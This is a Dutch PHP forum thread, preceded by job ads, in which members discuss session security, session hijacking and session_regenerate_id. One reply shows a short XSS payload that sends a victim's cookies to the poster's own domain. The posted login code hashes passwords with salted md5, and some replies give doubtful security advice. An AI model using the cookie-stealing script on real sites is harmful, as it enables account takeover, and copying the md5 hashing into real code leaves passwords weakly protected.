Session veilig?

Overzicht Reageren

Sponsored by: Vacatures door Monsterboard

PHP ontwikkelaar

Functie Met een complex en uitgebreid e-commerce platform, een eigen PIM-systeem en eigen scan applicatie – krijg jij dagelijks te zien hoe jouw werk gebruikt wordt door miljoenen gebruikers. En we staan qua development pas in de startblokken, aangezien er nog meerdere projecten op de plank liggen te wachten! Ons huidige development team bestaat uit 8 programmeurs. Er wordt dagelijks gereflecteerd op geschreven code, Scrum taken en kennisdelen onderling is een must. Onze voertaal binnen ons team is Engels, dit omdat wij twee internationale collega’s hebben. Ons huidige “IT Landschap” bestaat voornamelijk uit allerlei losse onderdelen die individueel, maar ook

Bekijk vacature »

Senior PHP developer

Functie Jouw werkzaamheden zullen grotendeels bestaan uit het in teamverband ontwerpen, vernieuwen en door ontwikkelen van het systeem. Het is echt back-end werk (bijvoorbeeld het doorontwikkelen van een API) en dit moet je dan ook liggen. Ze zijn niet persee gebonden aan talen of tools maar gebruiken graag de technieken die het beste aansluiten op de gegeven oplossing. Voor nieuwe (versies van) componenten maken ze veelal gebruik van Go(lang). Bij aanpassingen aan bestaande onderdelen gebeurt dit in PHP en C++. Het team is heel divers, er hangt een relaxte sfeer en ze organiseren regelmatig leuke music nights, game nights e.d.

Bekijk vacature »

Software ontwikkelaar ASP .Net / C#

Functie omschrijving Gezocht! Software ontwikkelaar. Ben jij bekend met termen als ASP .Net, C# en SQL? Ben jij op zoek naar een afwisselende en uitdagende IT-functie binnen de agrarische sector? En omschrijf jij jezelf als zelfstandig, enthousiast en proactief? Dan hebben wij de perfecte functie voor jou! Als Software ontwikkelaar binnen deze organisatie ben je samen met één andere collega verantwoordelijk voor de ontwikkeling en modificatie van het support en controle programma dat binnen dit bedrijf gebruikt wordt. Je gaat hierbij bijdragen aan de vertaling van klantwensen naar effectieve softwareoplossingen. Verder bestaan je werkzaamheden uit: Technische uitwerking van de business

Bekijk vacature »

Laravel PHP developer in een jong team

Bedrijfsomschrijving Als je op zoek bent naar een werkplek waar plezier en uitdaging hand in hand gaan, dan is dit bedrijf de juiste keuze voor jou. Hier kun je werken aan uitdagende projecten en krijg je als developer veel verantwoordelijkheid. Het bedrijf waardeert kwaliteit boven kwantiteit en richt zich op het ontwikkelen van hoogwaardige applicaties en websites waar klanten enthousiast over zijn. Dit bedrijf is vooruitstrevend en streeft naar het leveren van de best mogelijke resultaten voor hun klanten. Als medior PHP ontwikkelaar met 3 jaar ervaring ben jij de persoon die we zoeken. Je krijgt hier de kans om

Bekijk vacature »

Java (Java EE) Developer

In het kort Werken als Java developer betekent werken aan complexe IT projecten bij onder meer een internationaal containeroverslag bedrijf. Zo sturen we apparaten en eindgebruikers aan d.m.v. onze custom-made software oplossing, die dagelijkse vele duizenden containers verwerkt. Denk aan systemen die volautomatische kranen aansturen en op afstand bedienen, de volledige afhandeling van containernummerherkenning bij het laden en lossen van zeeschepen of het tonen van instructies aan de chauffeurs van ruim 300 straddle carriers. En dat allemaal redundant, robuust en in een dynamische 24/7 omgeving! Jij versterkt ons ontwikkelteam en gaat aan de slag met oa. Java i.c.m. Spring (Boot),

Bekijk vacature »

.NET software developer

Functie omschrijving Voor een gewilde werkgever in omgeving Roosendaal zijn wij op zoek naar een back-end software developer met een aantal jaar werkervaring. Je krijgt een plekje in het workflow team en je zal betrokken worden bij het bouwen van nieuwe software, en het optimaliseren van bestaande code. Je werkt bij dit bedrijf in een Scrum team waarin je soms klantcontact hebt. Jouw werkzaamheden zullen er als volgt uit zien: Je krijgt een plekje op de in-house IT afdeling. Deze afdeling bestaat uit zo'n 12 collega's, verdeeld over verschillende specialisaties (BI, Beheer, Business software & workflow). De vacature staat open

Bekijk vacature »

Junior Front end developer Onderwijssoftware

Functie Als Junior front end developer kom jij terecht in een klein, maar hecht team bestaande uit 5 andere developers (waarvan 2 senioren, 2 medior en 1 junior). Met de gezamenlijke missie om “ieder kind te helpen met onze software” wordt er dagelijks gepassioneerd en hard gewerkt aan ons in-house ontwikkeld platform. Deze software is gebaseerd is op AI, machine Learning en wetenschappelijke inzichten. Dagelijks zul jij werken met onze high traffic webapplicatie. We hebben ruim 300.00 gebruikers en meer dan 2 miljard records waar je te maken mee krijgt! Verder zul jij je bezighouden met: – Het ontwikkelen van

Bekijk vacature »

Junior .NET developer

Functie Als junior .NET ontwikkelaar start jij in ons development team met twee andere .NET developers. Als team werken jullie in scrum en is er iedere ochtend om 11.00 een standup. Jij krijgt als junior .NET ontwikkelaar een inwerk traject dat echt specifiek wordt ingericht op basis van wat jij nodig hebt. Een van de grootste pluspunten bij ons is dat wij binnen ons bedrijf veel (technische) vrijheid geven en juist eigen initiatieven erg stimuleren. Jouw werkzaamheden gaan er bij ons als volgt uit zien: – Het ontwikkelen van nieuwe software samen met interne en eventueel externe ontwikkelaars; – Het

Bekijk vacature »

Randstad - Freelance Backend Developer/ Data Engin

Starting date: 10.05.2023 Salary range: €67,00 - €77,00 Duration: 6 months Hours: 40 Working model: Hybrid* MUST be NL based Job description: Our vision is to have a consistent and data driven experience for all sales across all our operating companies. Our mission is to enable our salespeople to be able to reach out to the right company at the right time. We do this by creating data driven micro services and solutions. We mainly focus on implementation in the Google Cloud but also integrate with local systems and other cloud solutions. A typical day: As a back-end developer you

Bekijk vacature »

.NET Developer Microservices

Dit ga je doen Je taken zullen voornamelijk bestaan uit: Het ontwikkelen van software, inclusief vormgeving, implementaties, integraties en (automatisch) testen (.NET, C#, Azure, Docker, Microservices, Angular); Het in kaart brengen van software requirements; Zorgen dat jouw code kwalitatief hoogstaand is; Het uitvoeren van risico analyses; Een bijdrage leveren aan het continuous quality improvement process. Hier ga je werken Dat kanker een verschrikkelijke ziekte is die de wereld uit geholpen moet worden, is duidelijk. Binnen deze Gelderse organisatie die duizenden ziekenhuizen van producten voorziet, proberen ze daar via technische innovaties aan bij te dragen. Samen met 10 collega .NET developers

Bekijk vacature »

Laravel / PHP developer gezocht!

Functie omschrijving Wij zijn op zoek naar een Laravel PHP Developer voor een leuk bedrijf in de omgeving van Amsterdam! Je zult je bezig houden met de volgende werkzaamheden: Je gaat aan de hand van de wensen van klanten software ontwikkelen; Je bent bij het gehele proces betrokken; van A tot Z; Je hebt na de oplevering contact met de klant wanneer zij problemen ervaren; Je denkt mee over het verbeteren van de werkprocessen; Je denkt mee over softwareoplossingen; Je speelt in op de behoefte van de klant; Je houdt je bezig met het verbeteren, aanpassen en vernieuwen van de

Bekijk vacature »

Front-end developer (React)

Functie Het frontend team bestaat momenteel uit 4 dedicated front-enders en is hard aan het groeien! Ook werken er diverse designers waar je veel mee schakelt. Samen leveren jullie een essentiële bijdrage aan de applicaties die ze voor hun klanten realiseren, jij bent hierin de schakel tussen de eindgebruiker en de slimme backend. Je werkt in het frontend team samen met de backend teams en product owners om te zorgen dat onze applicaties een fijne gebruikerservaring opleveren. Ze werken o.a. met: React, Atomic design, Styled components, JavaScript / TypeScript, NPM, Webpack Blade templates, HTML, SCSS, Git flow. Eisen • HBO

Bekijk vacature »

Airport Developer / System engineer

De functie Als onze nieuwe Airport Developer / System Engineer is je doel om uit nieuwbouw- en onderhoudsprojecten maximale waarde te creëren voor Schiphol Group en haar stakeholders. Vanuit je visie en expertise, maar ook (technologische) ontwikkelingen, wetgeving en beleid vertaal je klantwensen naar een gedegen programma van eisen. In de planontwikkelingsfase werk je nauw samen met Plan Ontwikkelaars om je kennis in te brengen ten behoeve van de kwaliteit van het investeringsvoorstel. Je overlegt met diverse partijen, stelt de vraag achter de vraag en verbindt zo de belangen van de luchthaven, proceseigenaar en asseteigenaar om tot een gedragen ontwikkelopgave

Bekijk vacature »

Developer Full Stack

Functie omschrijving Developer gezocht! Ben jij een enthousiaste developer die graag wil bijdragen aan ontwikkelingen binnen een mooie organisatie? Solliciteer dan snel. Wij zijn op zoek naar een Full Stack Developer uit de regio Nijkerk die gaat bijdragen aan het door ontwikkelen, onderhouden en optimaliseren van een SaaS applicatie. Je moet beschikken over beheersing van zowel de Nederlandse als Engelse taal aangezien je samen met de klant gaat werken. Bedrijfsprofiel Je komt te werken binnen een echt familiebedrijf dat al sinds 1925 actief is binnen de FMCG branche. Het bedrijf heeft 40 medewerkers en er heerst een platte communicatiestructuur waarbij

Bekijk vacature »

Java Ontwikkelaar

Java/Kotlin Developer Ben jij een ervaren Java/Kotlin developer met een passie voor het automatiseren van bedrijfsprocessen? Wil je graag deelnemen aan uitdagende projecten bij aansprekende klanten? En ben je op zoek naar een professioneel, ambitieus en dynamisch bedrijf om je carrière verder te ontwikkelen? Kom dan ons team bij Ritense in Amsterdam versterken! Zo ziet de functie eruit: Als Java/Kotlin developer bij Ritense ben je verantwoordelijk voor de ontwikkeling en implementatie van applicaties die bedrijfsprocessen automatiseren, zodat onze klanten slimmer, efficiënter en klantgerichter kunnen werken. Als developer ben je in de lead en zorg je voor de correcte oplevering van

Bekijk vacature »
Francoi gckx

Francoi gckx

22/01/2013 21:34:28
Quote Anchor link
Als je inlogt word een aantal $_SESSION's aangemaakt, bijv $_SESSION['username'];

Is dit veilig, kan iemand zonder in te loggen toch een $_SESSION['username'] hebben?

Dubbelpost verwijderd, verder in dit topic.[/modedit]
Gewijzigd op 22/01/2013 23:51:10 door Bas IJzelendoorn
 
PHP hulp

PHP hulp

19/04/2024 01:10:26
 
Eddy E

Eddy E

22/01/2013 21:36:30
Quote Anchor link
Nee, want die maak je op de server zelf aan.
Ik kan niet op jouw server (die van je website) $_SERVER aanmaken.

Maar je moet wel goed beveiligen WAAR je ['username'] aanmaakt. Dus het inloggen moet wel kloppen.
 
Francoi gckx

Francoi gckx

22/01/2013 21:39:09
Quote Anchor link
Ok dan zit het denk ik wel goed, bedankt!
 
Chris PHP

Chris PHP

23/01/2013 07:40:30
Quote Anchor link
@Eddy,
Er is zoiets als session hijacking, ik had verwacht dat je dit wel zou weten eerlijk gezegt. Het is dus mogelijk dat hackers meeliften op een sessie van een gebruiker, en zo verder kunnen gaan.

Waarom zou je tevens een $_SERVER moeten aanmaken? Terwijl het hier om $_SESSION gaat?

@Francoi,
Niets is 100% veilig, er zijn altijd manieren. Zorg ervoor dat je geen gevoelige informatie opslaat in een sessie, deze kunnen wel degelijk uitgelezen worden. Een session_id wordt opgeslagen in een cookie op de pc van de gebruiker, dus deze id bemachtigen is niet al te moeilijk.
 
Kees Schepers

kees Schepers

23/01/2013 08:33:42
Quote Anchor link
Daarom moet je altijd net voordat iemand ingelogd is (dus na de post maar voor je de sessie aanmaakt) de sessie vernieuwen met:

session_regenerate_id(true);

Dan is session hijacking al een stuk lastiger, al dan niet meer mogelijk ;)
 
Dennis WhoCares

Dennis WhoCares

23/01/2013 08:52:20
Quote Anchor link
Session hijacking is toch wel interessant.
Ikzelf maak gebruik van mn database, waar mijn sessies opgeslagen worden
(unieke ID met username en ip adress van de gebruiker)
Vervolgens wordt t ip gecontrolleerd en de sessie.
Is dit te hijacken ?
 
Francoi gckx

Francoi gckx

23/01/2013 09:28:33
Quote Anchor link
Wat doet session_regenerate_id(true) precies? (heeft u een voorbeeld?)

En moet ik het letterlijk voordat ik een session aanmaak of bovenaan de login script na session_start?
Gewijzigd op 23/01/2013 09:28:55 door Francoi gckx
 
- SanThe -

- SanThe -

23/01/2013 10:04:31
Quote Anchor link
Francoi gckx op 23/01/2013 09:28:33:
Wat doet session_regenerate_id(true) precies? (heeft u een voorbeeld?)

En moet ik het letterlijk voordat ik een session aanmaak of bovenaan de login script na session_start?


Kijk zelf even op php.net:
http://nl.php.net/manual/en/function.session-regenerate-id.php
 
Francoi gckx

Francoi gckx

23/01/2013 10:36:49
Quote Anchor link
Ik ben een beginner en die link is niet echt voor beginners
 
Chris PHP

Chris PHP

23/01/2013 10:39:18
Quote Anchor link
@Francoi,
Overal waar je sessies gebruikt moet bovenaan de pagina session_start() staan. Dus echt als een van de eerste regels! Anders wordt er op die pagina geen sessie gebruikt.

Dus niet alleen op je inlog pagina, maar ook op de pagina's waar de gebruiker voor ingelogd moet zijn.

Tevens is de link van SanThe vrij duidelijk met session_regenerate_id(true); maakt hij een nieuwe sessie id aan.


@Kees,
Dan maakt hij voor die sessie alleen een nieuwe id aan, dat blijft ie de gehele sessie en staat lokaal in de cookie. Hijacking blijft dan nog steeds mogelijk zolang de gebruiker is ingelogd.
Wil je het goed doen, moet je dit op elke pagina waar sessies gebruikt worden doen.

@Dennis,
Wordt dat per sessie gedaan? Of eenmalig?

Als het eenmalig is kan de gebruiker dus nooit via een andere omgeving inloggen, aangezien hij daar een ander ip krijgt.

Wordt het per sessie gedaan maakt het stukken lastiger, echter is het vrij makkelijk om je ip te wijzigen naar wat je wil voor de buitenwereld. Dan moeten ze uiteraard wel het ip hebben, en je externe ip van je provider kan alleen veranderen wanneer je bijvoorbeeld je modem reset.

Dus de controle op ip is ook niet waterdicht.
Gewijzigd op 23/01/2013 10:42:32 door Chris PHP
 
Francoi gckx

Francoi gckx

23/01/2013 10:45:30
Quote Anchor link
Chris NVT op 23/01/2013 10:39:18:
@Francoi,
Overal waar je sessies gebruikt moet bovenaan de pagina session_start() staan. Dus echt als een van de eerste regels! Anders wordt er op die pagina geen sessie gebruikt.

Ja dat van session_start begrijp ik maar ik had het over session_regenerate_id

Maar bijvoorbeeld in login.php

1.Het begint met session_start() bovenaan (moet ik session_regenerarate_id onder session_start gelijk gebruiken?)

2. Dan komen de controlles als er niks ingevuld is of onjuiste email

3. Als 2 goed is dan:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
// create query
        if ($stmt = $mysqli->prepare("SELECT members.id, permissions.name FROM members, permissions WHERE username=? AND password = ? AND members.type = permissions.id"))
        {

            $stmt->bind_param("ss", $input['user'], md5($input['pass'] . $config['salt']));
            $stmt->execute();
            $stmt->bind_result($id, $type);
            $stmt->fetch();
            
            // check if there is a match in the database for the user/password combination
            if ($id)
            {

                // close statement
                $stmt->close();
                
                // set session variable
                $_SESSION['id'] = $id;
                $_SESSION['type'] = $type;
                $_SESSION['username'] = $input['user'];
                $_SESSION['last_active'] = time() - 60 * 60 * 24;
                
                // redirect to member's page
                header("Location: members.php");
            }

?>


5. Waar moet ik hier session_regenerate_id gebruiken, was mijn vraag?
 
- SanThe -

- SanThe -

23/01/2013 10:46:13
Quote Anchor link
Chris NVT op 23/01/2013 10:39:18:
je externe ip van je provider kan alleen veranderen wanneer je bijvoorbeeld je modem reset.

Dus de controle op ip is ook niet waterdicht.


Mobieltjes hebben (vaak) bij elk request een ander IP.
IP-checken is dus eigenlijk zinloos.
Gewijzigd op 23/01/2013 14:58:48 door - SanThe -
 
Chris PHP

Chris PHP

23/01/2013 10:47:12
Quote Anchor link
Francoi gckx op 23/01/2013 10:45:30:
Ja dat van session_start begrijp ik maar ik had het over session_regenerate_id

Altijd na session_start();
Gewijzigd op 23/01/2013 10:49:55 door Chris PHP
 
Francoi gckx

Francoi gckx

23/01/2013 10:50:08
Quote Anchor link
Ja sorry voor de onduidelijkheid maar ik bedoel met "voordat ik een session aanmaak" niet session_start
maar
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
<?php
// set session variable
                $_SESSION['id'] = $id;
                $_SESSION['type'] = $type;
                $_SESSION['username'] = $input['user'];
                $_SESSION['last_active'] = time() - 60 * 60 * 24;
?>


Zie mijn vorige post
 
Chris PHP

Chris PHP

23/01/2013 10:51:33
Quote Anchor link
@Francoi,

Je kunt het gewoon onder session_start(); zetten op je inlogpagina.
 
Francoi gckx

Francoi gckx

23/01/2013 10:51:37
Quote Anchor link
Ok dus ter bevestiging moet ik dit bovenin zetten:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
<?php session_start();
session_regenerate_id(true) (dat worden de eerste twee regels)

Ok bedankt Chris
Gewijzigd op 23/01/2013 10:52:08 door Francoi gckx
 
Kees Schepers

kees Schepers

23/01/2013 14:25:35
Quote Anchor link
Chris NVT op 23/01/2013 10:39:18:
@Kees,
Dan maakt hij voor die sessie alleen een nieuwe id aan, dat blijft ie de gehele sessie en staat lokaal in de cookie. Hijacking blijft dan nog steeds mogelijk zolang de gebruiker is ingelogd.
Wil je het goed doen, moet je dit op elke pagina waar sessies gebruikt worden doen.


Hijacking werkt toch als volgt:

Gebruiker A die gaat naar een website en ziet daar een login scherm. Gebruiker B (de hacker) steelt de cookie / sessionid van gebruiker A. Gebruiker A gaat inloggen op de site en doet wat hij verder moet doen. Gebruiker B heeft zijn sessie gekopieerd en is daarmee ook automatisch ingelogd.

Als bovenstaande klopt, los je het toch op door de sessie ID te veranderen net voor gebruiker A is ingelogd? Want als gebruiker A ingelogd is, dan heeft gebruiker B een ongeldige sessie ID in zijn cookie staan waar hij niks mee kan.

Mocht mijn verhaal niet kloppen licht het dan eventjes toe, ben ik wel benieuwd wat leer ik er ook weer wat van :)

Aan de andere kant; als je sessie ID gestolen wordt nadat je ingelogd bent, ben je ook de lul :P is het daarom goed om elke pagina de sessie te vernieuwen?
Gewijzigd op 23/01/2013 14:27:25 door kees Schepers
 
Ozzie PHP

Ozzie PHP

23/01/2013 14:44:24
Quote Anchor link
Kees Schepers op 23/01/2013 14:25:35:
Gebruiker A die gaat naar een website en ziet daar een login scherm. Gebruiker B (de hacker) steelt de cookie / sessionid van gebruiker A.

Hoe zie je dit precies voor je? Hoe kan gebruiker B de sessie van gebruiker A stelen?

Volgens mij wordt sessie kapen met bruteforce aanvallen gedaan. Er wordt door de hacker telkens een cookie gemaakt met een andere sessie-id, totdat hij een keer "beet" heeft. Het maakt dan niet uit of je wel of niet ingelogd bent.

Wat je zou kunnen doen is een extra cookie gebruiken met een of andere hash daarin. Bezoeker A komt op de site en er wordt een sessie gestart. Tegelijkertijd wordt er een cookie op zijn computer gezet met een hash. Hacker B gaat bruteforcen en vindt op een gegevens moment de sessie-id van bezoeker A. Aangezien hij niet beschikt over de extra cookie met daarin de hash, kan hij de sessie niet overnemen. Het systeem ziet nu dus dat de sessie gehackt is, maar dat de hash niet klopt. Op dat moment moet de complete sessie worden vernietigd.
Gewijzigd op 23/01/2013 14:45:01 door Ozzie PHP
 
Kees Schepers

kees Schepers

23/01/2013 15:19:08
Quote Anchor link
Met een javascript exploit kan ik vrij eenvoudig jouw cookies stelen hoor :)

Stel dat prive berichten op phphulp niet goed tegen XSS waren beschermt stuurde ik je een prive bericht met:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<script>
window.location = 'keesje.nl/index.php?cookies=' + document.cookies;
</script>


En mijn index.php stuurt jouw met een PHP header redirect weer terug naar phphulp. Gevolg is dat je denkt dat er een fout in de site zit en je bijna niet merkt dat je omgeleid wordt.
 
Ozzie PHP

Ozzie PHP

23/01/2013 15:32:13
Quote Anchor link
ah oke... sneaky ;-)
 



Overzicht Reageren

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.